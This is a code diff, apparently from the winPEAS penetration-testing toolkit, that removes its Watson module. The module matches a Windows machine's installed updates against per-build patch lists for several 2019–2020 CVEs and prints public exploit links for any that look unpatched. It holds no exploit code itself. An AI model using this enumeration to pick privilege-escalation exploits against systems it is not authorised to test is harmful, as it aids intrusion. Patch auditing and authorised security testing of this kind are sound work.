public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 15063:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4516068, 4516059, 4522011, 4520010, 4524151,
|
||||
4525245, 4530711, 4534296, 4537765, 4540705,
|
||||
4550939, 4556804, 4561605, 4567516, 4565499,
|
||||
4571689, 4577021
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4516066, 4522012, 4520004, 4520006, 4524150,
|
||||
4525241, 4530714, 4534276, 4534318, 4537789,
|
||||
4537816, 4540681, 4541330, 4554342, 4550927,
|
||||
4556812, 4561602, 4567515, 4565508, 4571741,
|
||||
4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4516058, 4516045, 4522014, 4519978, 4520008,
|
||||
4524149, 4525237, 4530717, 4534293, 4534308,
|
||||
4537762, 4537795, 4540689, 4541333, 4554349,
|
||||
4550922, 4550944, 4556807, 4561621, 4567514,
|
||||
4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4512578, 4522015, 4519338, 4520062, 4524148,
|
||||
4523205, 4530715, 4534273, 4534321, 4532691,
|
||||
4537818, 4538461, 4541331, 4554354, 4549949,
|
||||
4550969, 4551853, 4561608, 4567513, 4558998,
|
||||
4559003, 4565349, 4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4515384, 4517211, 4522016, 4517389, 4522355,
|
||||
4524147, 4524570, 4530684, 4528760, 4532695,
|
||||
4532693, 4535996, 4540673, 4541335, 4551762,
|
||||
4554364, 4549951, 4550945, 4556799, 4560960,
|
||||
4567512, 4565483, 4559004, 4565351, 4566116,
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1315
|
||||
{
|
||||
private const string name = "CVE-2019-1315";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4520011, 4525232, 4530681, 4534306, 4537776,
|
||||
4540693, 4550930, 4556826, 4561649, 4567518,
|
||||
4565513, 4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4519998, 4519979, 4525236, 4530689
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 15063:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4520010, 4525245, 4530711, 4534296, 4537765,
|
||||
4540705, 4550939, 4556804, 4561605, 4567516,
|
||||
4565499, 4571689, 4577021
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4520004, 4520006, 4525241, 4530714, 4534276,
|
||||
4534318, 4537789, 4537816, 4540681, 4541330,
|
||||
4554342, 4550927, 4556812, 4561602, 4567515,
|
||||
4565508, 4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4520008, 4519978, 4525237, 4530717, 4534293,
|
||||
4534308, 4537762, 4537795, 4540689, 4541333,
|
||||
4554349, 4550922, 4550944, 4556807, 4561621,
|
||||
4567514, 4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4519338, 4520062, 4523205, 4530715, 4534273,
|
||||
4534321, 4532691, 4537818, 4538461, 4541331,
|
||||
4554354, 4549949, 4550969, 4551853, 4561608,
|
||||
4567513, 4558998, 4559003, 4565349, 4571748,
|
||||
4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4517389, 4522355, 4524570, 4530684, 4528760,
|
||||
4532695, 4532693, 4535996, 4540673, 4541335,
|
||||
4551762, 4554364, 4549951, 4550945, 4556799,
|
||||
4560960, 4567512, 4565483, 4559004, 4565351,
|
||||
4566116, 4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,83 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1385
|
||||
{
|
||||
private const string name = "CVE-2019-1385";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525241, 4530714, 4534276, 4534318, 4537789,
|
||||
4537816, 4540681, 4541330, 4554342, 4550927,
|
||||
4556812, 4561602, 4567515, 4565508, 4571741,
|
||||
4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525237, 4530717, 4534293, 4534308, 4537762,
|
||||
4537795, 4540689, 4541333, 4554349, 4550922,
|
||||
4550944, 4556807, 4561621, 4567514, 4565489,
|
||||
4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4523205, 4530715, 4534273, 4534321, 4532691,
|
||||
4537818, 4538461, 4541331, 4554354, 4549949,
|
||||
4550969, 4551853, 4561608, 4567513, 4558998,
|
||||
4559003, 4565349, 4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4524570, 4530684, 4528760, 4532695, 4532693,
|
||||
4535996, 4540673, 4541335, 4551762, 4554364,
|
||||
4549951, 4550945, 4556799, 4560960, 4567512,
|
||||
4565483, 4559004, 4565351, 4566116, 4574727,
|
||||
4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18363:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4524570, 4530684, 4528760, 4532695, 4532693,
|
||||
4535996, 4540673, 4541335, 4551762, 4554364,
|
||||
4549951, 4550945, 4556799, 4560960, 4567512,
|
||||
4565483, 4559004, 4565351, 4566116, 4574727,
|
||||
4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,89 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1388
|
||||
{
|
||||
private const string name = "CVE-2019-1388";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525232, 4530681, 4534306, 4537776, 4540693,
|
||||
4550930, 4556826, 4561649, 4567518, 4565513,
|
||||
4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525236, 4530689
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525241, 4530714, 4534276, 4534318, 4537789,
|
||||
4537816, 4540681, 4541330, 4554342, 4550927,
|
||||
4556812, 4561602, 4567515, 4565508, 4571741,
|
||||
4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525237, 4530717, 4534293, 4534308, 4537762,
|
||||
4537795, 4540689, 4541333, 4554349, 4550922,
|
||||
4550944, 4556807, 4561621, 4567514, 4565489,
|
||||
4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4523205, 4530715, 4534273, 4534321, 4532691,
|
||||
4537818, 4538461, 4541331, 4554354, 4549949,
|
||||
4550969, 4551853, 4561608, 4567513, 4558998,
|
||||
4559003, 4565349, 4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4524570, 4530684, 4528760, 4532695, 4532693,
|
||||
4535996, 4540673, 4541335, 4551762, 4554364,
|
||||
4549951, 4550945, 4556799, 4560960, 4567512,
|
||||
4565483, 4559004, 4565351, 4566116, 4574727,
|
||||
4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,101 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2019_1405
|
||||
{
|
||||
private const string name = "CVE-2019-1405";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525232, 4530681, 4534306, 4537776, 4540693,
|
||||
4550930, 4556826, 4561649, 4567518, 4565513,
|
||||
4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525236, 4530689
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525241, 4530714, 4534276, 4534318, 4537789,
|
||||
4537816, 4540681, 4541330, 4554342, 4550927,
|
||||
4556812, 4561602, 4567515, 4565508, 4571741,
|
||||
4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4525237, 4530717, 4534293, 4534308, 4537762,
|
||||
4537795, 4540689, 4541333, 4554349, 4550922,
|
||||
4550944, 4556807, 4561621, 4567514, 4565489,
|
||||
4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4523205, 4530715, 4534273, 4534321, 4532691,
|
||||
4537818, 4538461, 4541331, 4554354, 4549949,
|
||||
4550969, 4551853, 4561608, 4567513, 4558998,
|
||||
4559003, 4565349, 4571748, 4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4524570, 4530684, 4528760, 4532695, 4532693,
|
||||
4535996, 4540673, 4541335, 4551762, 4554364,
|
||||
4549951, 4550945, 4556799, 4560960, 4567512,
|
||||
4565483, 4559004, 4565351, 4566116, 4574727,
|
||||
4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18363:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4524570, 4530684, 4528760, 4532695, 4532693,
|
||||
4535996, 4540673, 4541335, 4551762, 4554364,
|
||||
4549951, 4550945, 4556799, 4560960, 4567512,
|
||||
4565483, 4559004, 4565351, 4566116, 4574727,
|
||||
4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,98 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2020_0668
|
||||
{
|
||||
private const string name = "CVE-2020-0668";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537776, 4540693, 4550930, 4556826, 4561649,
|
||||
4567518, 4565513, 4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537764, 4537806, 4540670, 4541329, 4550929,
|
||||
4550947, 4556813, 4561616, 4567517, 4565511,
|
||||
4571694, 4577015
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537789, 4537816, 4540681, 4541330, 4554342,
|
||||
4550927, 4556812, 4561602, 4567515, 4565508,
|
||||
4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537762, 4537795, 4540689, 4541333, 4554349,
|
||||
4550922, 4550944, 4556807, 4561621, 4567514,
|
||||
4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4532691, 4537818, 4538461, 4541331, 4554354,
|
||||
4549949, 4550969, 4551853, 4561608, 4567513,
|
||||
4558998, 4559003, 4565349, 4571748, 4570333,
|
||||
4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4532693, 4535996, 4540673, 4541335, 4551762,
|
||||
4554364, 4549951, 4550945, 4556799, 4560960,
|
||||
4567512, 4565483, 4559004, 4565351, 4566116,
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18363:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4532693, 4535996, 4540673, 4541335, 4551762,
|
||||
4554364, 4549951, 4550945, 4556799, 4560960,
|
||||
4567512, 4565483, 4559004, 4565351, 4566116,
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,98 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2020_0683
|
||||
{
|
||||
private const string name = "CVE-2020-0683";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537776, 4540693, 4550930, 4556826, 4561649,
|
||||
4567518, 4565513, 4571692, 4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537764, 4537806, 4540670, 4541329, 4550929,
|
||||
4550947, 4556813, 4561616, 4567517, 4565511,
|
||||
4571694, 4577015
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537789, 4537816, 4540681, 4541330, 4554342,
|
||||
4550927, 4556812, 4561602, 4567515, 4565508,
|
||||
4571741, 4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4537762, 4537795, 4540689, 4541333, 4554349,
|
||||
4550922, 4550944, 4556807, 4561621, 4567514,
|
||||
4565489, 4571709, 4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4532691, 4537818, 4538461, 4541331, 4554354,
|
||||
4549949, 4550969, 4551853, 4561608, 4567513,
|
||||
4558998, 4559003, 4565349, 4571748, 4570333,
|
||||
4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4532693, 4535996, 4540673, 4541335, 4551762,
|
||||
4554364, 4549951, 4550945, 4556799, 4560960,
|
||||
4567512, 4565483, 4559004, 4565351, 4566116,
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18363:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4532693, 4535996, 4540673, 4541335, 4551762,
|
||||
4554364, 4549951, 4550945, 4556799, 4560960,
|
||||
4567512, 4565483, 4559004, 4565351, 4566116,
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
using System.Linq;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2020_0796
|
||||
{
|
||||
private const string name = "CVE-2020-0796";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 18362:
|
||||
case 18363:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4551762
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson.Msrc
|
||||
{
|
||||
internal static class CVE_2020_1013
|
||||
{
|
||||
private const string name = "CVE-2020-1013";
|
||||
|
||||
public static void Check(VulnerabilityCollection vulnerabilities, int buildNumber, List<int> installedKBs)
|
||||
{
|
||||
var supersedence = new List<int>();
|
||||
|
||||
switch (buildNumber)
|
||||
{
|
||||
case 10240:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4577049
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 14393:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4577015
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 16299:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4577041
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17134:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4577032
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 17763:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4570333, 4577069
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18362:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 18363:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4574727, 4577062
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
case 19041:
|
||||
|
||||
supersedence.AddRange(new int[] {
|
||||
4571756, 4577063
|
||||
});
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
if (!supersedence.Intersect(installedKBs).Any())
|
||||
{
|
||||
vulnerabilities.SetAsVulnerable(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
namespace winPEAS._3rdParty.Watson
|
||||
{
|
||||
public class Vulnerability
|
||||
{
|
||||
public string Identification { get; }
|
||||
public string[] KnownExploits { get; }
|
||||
public bool Vulnerable { get; private set; }
|
||||
|
||||
public Vulnerability(string id, string[] exploits)
|
||||
{
|
||||
Identification = id;
|
||||
KnownExploits = exploits;
|
||||
}
|
||||
|
||||
public void SetAsVulnerable()
|
||||
=> Vulnerable = true;
|
||||
}
|
||||
}
|
||||
@@ -1,111 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson
|
||||
{
|
||||
public class VulnerabilityCollection
|
||||
{
|
||||
private readonly List<Vulnerability> _vulnerabilities;
|
||||
|
||||
public void SetAsVulnerable(string id)
|
||||
=> _vulnerabilities.First(e => e.Identification == id).SetAsVulnerable();
|
||||
|
||||
public VulnerabilityCollection()
|
||||
{
|
||||
_vulnerabilities = Populate();
|
||||
}
|
||||
|
||||
public void ShowResults()
|
||||
{
|
||||
foreach (Vulnerability vuln in _vulnerabilities.Where(i => i.Vulnerable))
|
||||
{
|
||||
Beaprint.BadPrint($" [!] {vuln.Identification} : VULNERABLE");
|
||||
|
||||
foreach (string exploit in vuln.KnownExploits)
|
||||
{
|
||||
Beaprint.BadPrint($" [>] {exploit}");
|
||||
}
|
||||
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
if (_vulnerabilities.Any(e => e.Vulnerable))
|
||||
{
|
||||
Beaprint.BadPrint($" [*] Finished. Found {_vulnerabilities.Count(i => i.Vulnerable)} potential vulnerabilities.\r\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.GoodPrint(" [*] Finished. Found 0 vulnerabilities.\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
private List<Vulnerability> Populate()
|
||||
{
|
||||
return new List<Vulnerability>()
|
||||
{
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-0836",
|
||||
exploits: new string[] { "https://exploit-db.com/exploits/46718", "https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-0841",
|
||||
exploits: new string[] { "https://github.com/rogue-kdc/CVE-2019-0841", "https://rastamouse.me/tags/cve-2019-0841/" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1064",
|
||||
exploits: new string[] { "https://www.rythmstick.net/posts/cve-2019-1064/" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1130",
|
||||
exploits: new string[] { "https://github.com/S3cur3Th1sSh1t/SharpByeBear" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1253",
|
||||
exploits: new string[] { "https://github.com/padovah4ck/CVE-2019-1253", "https://github.com/sgabe/CVE-2019-1253" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1315",
|
||||
exploits: new string[] { "https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1385",
|
||||
exploits: new string[] { "https://www.youtube.com/watch?v=K6gHnr-VkAg" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1388",
|
||||
exploits: new string[] { "https://github.com/jas502n/CVE-2019-1388" }
|
||||
),
|
||||
|
||||
new Vulnerability(
|
||||
id: "CVE-2019-1405",
|
||||
exploits: new string[] { "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/", "https://github.com/apt69/COMahawk" }
|
||||
),
|
||||
new Vulnerability(
|
||||
id: "CVE-2020-0668",
|
||||
exploits: new string[] { "https://github.com/itm4n/SysTracingPoc" }
|
||||
),
|
||||
new Vulnerability(
|
||||
id: "CVE-2020-0683",
|
||||
exploits: new string[] { "https://github.com/padovah4ck/CVE-2020-0683", "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/cve-2020-0683.ps1" }
|
||||
),
|
||||
new Vulnerability(
|
||||
id: "CVE-2020-1013",
|
||||
exploits: new string[] { "https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/" }
|
||||
),
|
||||
new Vulnerability(
|
||||
id: "CVE-2020-0796",
|
||||
exploits: new string[] { "https://github.com/danigargu/CVE-2020-0796 (smbghost)" }
|
||||
)
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS._3rdParty.Watson.Msrc;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson
|
||||
{
|
||||
|
||||
//////////////////////////////
|
||||
////// MAIN WATSON CLASS /////
|
||||
//////////////////////////////
|
||||
class Watson
|
||||
{
|
||||
public static void FindVulns()
|
||||
{
|
||||
Console.WriteLine(Beaprint.YELLOW + " [?] " + Beaprint.LBLUE + "Windows vulns search powered by " + Beaprint.LRED + "Watson" + Beaprint.LBLUE + "(https://github.com/rasta-mouse/Watson)" + Beaprint.NOCOLOR);
|
||||
|
||||
// Supported versions
|
||||
var supportedVersions = new Dictionary<int, string>()
|
||||
{
|
||||
{ 10240, "1507" }, { 10586, "1511" }, { 14393, "1607" }, { 15063, "1703" }, { 16299, "1709" },
|
||||
{ 17134, "1803" }, { 17763, "1809" }, { 18362, "1903" }, { 18363, "1909" }, { 19041, "2004" },
|
||||
{ 19042, "20H2" }, { 22000, "21H2" }, { 22621, "22H2" }
|
||||
};
|
||||
|
||||
// Get OS Build number
|
||||
var buildNumber = Wmi.GetBuildNumber();
|
||||
if (buildNumber != 0)
|
||||
{
|
||||
if (!supportedVersions.ContainsKey(buildNumber))
|
||||
{
|
||||
Console.Error.WriteLine($" [!] Windows version not supported, build number: '{buildNumber}'");
|
||||
}
|
||||
|
||||
var version = supportedVersions[buildNumber];
|
||||
Console.WriteLine(" [*] OS Version: {0} ({1})", version, buildNumber);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.Error.WriteLine(" [!] Could not retrieve Windows BuildNumber");
|
||||
}
|
||||
|
||||
// List of KBs installed
|
||||
Console.WriteLine(" [*] Enumerating installed KBs...");
|
||||
var installedKBs = Wmi.GetInstalledKBs();
|
||||
|
||||
#if DEBUG
|
||||
Console.WriteLine();
|
||||
|
||||
foreach (var kb in installedKBs)
|
||||
{
|
||||
Console.WriteLine(" {0}", kb);
|
||||
}
|
||||
|
||||
Console.WriteLine();
|
||||
#endif
|
||||
|
||||
// List of Vulnerabilities
|
||||
var vulnerabilities = new VulnerabilityCollection();
|
||||
|
||||
// Check each one
|
||||
CVE_2019_0836.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_0841.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1064.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1130.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1253.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1315.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1385.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1388.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2019_1405.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2020_0668.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2020_0683.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2020_1013.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
CVE_2020_0796.Check(vulnerabilities, buildNumber, installedKBs);
|
||||
|
||||
// Print the results
|
||||
vulnerabilities.ShowResults();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,65 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
